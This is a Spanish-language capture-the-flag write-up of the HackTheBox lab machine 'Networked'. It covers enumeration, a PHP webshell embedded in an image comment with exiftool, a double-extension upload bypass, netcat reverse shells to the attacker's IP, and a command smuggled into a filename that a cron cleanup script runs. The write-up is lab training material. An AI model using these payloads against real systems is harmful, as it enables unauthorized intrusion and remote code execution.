🟢Networked

Write-up de la máquina Networked de HackTheBox #writeup #walkthrough

Networked es un CTF de dificultad fácil que podemos encontrar en el sitio Web de Hack The Box. La resolución de esta máquina implicó abusar de una configuración incorrecta de Apache que me permitió cargar una imagen que contenía un webshell con una extensión doble. Con eso, obtuve un shell como usuario Apache sin privilegios y luego hice dos privescs. La primera inyección de comando abusada en un script que se estaba ejecutando para limpiar el directorio de cargas. Luego usé el acceso a un script bash para obtener la ejecución del comando como Root.

Enumeración

NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.

nmap -p- --open -vvv --min-rate 2000 10.10.10.146

Están abiertos los puertos 22, 80 TCP en la máquina objetivo. Vamos con el escaneo profundo de los servicios abiertos.

Servicios abiertos:

  • Puerto 22 -> OpenSSH 7.4

  • Puerto 80 -> Apache 2.4.6 (CentOS)

Enumeración web

Tenemos un puerto 80 en la máquina objetivo que corresponde con un servidor web. Vamos a ver su contenido.

Vamos a realizar un escaneo de los directorios disponibles en el servidor web. Para ello, vamos a utilizar la herramienta DirSearch.

dirsearch -u "http://10.10.10.146:80/" -i 200,301

Tenemos una serie de directorios y archivos que pueden ser interesantes. Vamos a comenzar abriendo el directorio /backup, a ver que contiene.

Tenemos un archivo backup.tar, vamos a descargarlo a ver si contiene algo interesante.

Tenemos una copia de seguridad del código fuente de la página web. Vamos a analizar el código contenido en cada archivo.

Vemos el archivo upload.php

Después de una revisión inicial, parece que cargamos un archivo, renombrándolo por la dirección IP del usuario y guardándolo en /var/www/html/uploads/. Ahora, hay dos formas en que podemos resolver esto, la primera es cargar un shell PHP común y configurar un archivo con extensión .php.gif o codificar un comentario con exiftool.

Shell como Apache

Creando la shell codificada como comentario de una imagen

Descargamos una de las imagenes de CentOS que encontramos en el directorio /photos.php.

Ahora sobre la imagen descargada ejecutamos exiftool.

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 127_0_0_4.png
mv 127_0_0_4.png 127_0_0_4.php.png

Con esto, una vez que volvamos a cargar la imagen editada, tendremos una shell integrada en la foto.

Vamos a probar.

Le pasamos los parametros ?cmd=whoami;pwd a nuestra imagen y nos devuelve la ejecucion de comandos, un tanto desordenada con los datos de la imagen.

Entonces vamos a utilizar el siguiente comando para entablar una shell reversa con la máquina víctima. Al mismo tiempo ejecutamos nc con el puerto seleccionado en nuestra máquina de ataque.

?cmd= nc -e /bin/bash 10.10.16.11 4444

Creando la shell a partir de un archivo .php.gif

Descargaremos esta reverse shell. Añadiremos nuestra IP y puerto de ataque, y además deberemos añadir el código GIF89A; para saltar los bloqueos.

Volvemos a lanzar el nc en nuestra máquina de ataque y vemos si conseguimos shell. Tras actualizar /photos.php, ya tendriamos la shell reversa.

Tras buscar la flag user.txt vemos que no tenemos privilegios suficientes para acceder a su contenido. Debemos seguir elevando privilegios hacia otros usuarios.

Acceso como usuario Guly

Primero creamos una terminal más atractiva de trabajar con el siguiente comando:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Un vistazo al directorio /home, nos devuelve el nombre de usuario "guly" y una serie de archivos que pueden ser interesantes.

A la flag no podemos acceder aún.

El crontab.guly se ejecuta cada 3 minutos, y el check_attack.php busca archivos que no se llamen como ip.extension. Vamos a intentar aprovechar esto.

Entonces, necesitamos generar una reverse shell. Nos dirigimos a /var/www/html/uploads/ y ejecutamos: touch "; nc 10.10.16.11 4444 -c bash" para abrir un shell en el tercer minuto, luego esperamos la conexión.

Ya estamos conectados como usuario "guly"

Vamos a buscar ahora la flag user.txt

Acceso como usuario Root

Volvemos a ejecutar el siguiente comando para hacer la terminal más vistosa.

python -c 'import pty;pty.spawn("/bin/bash")'

Vamos a comenzar verificar sudo -l.

Tenemos un ejecutable /usr/local/sbin/changename.sh. Este script simplemente crea un script de red para una interfaz llamada gulyy luego activa esa interfaz. Le pide al usuario estas opciones: NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO.

Ya seriamos usuario Root dentro de la máquina objetivo. Próximo paso, buscar la flag root.txt.

Y ya estaría acabado el CTF Networked de Hack The Box.

Last updated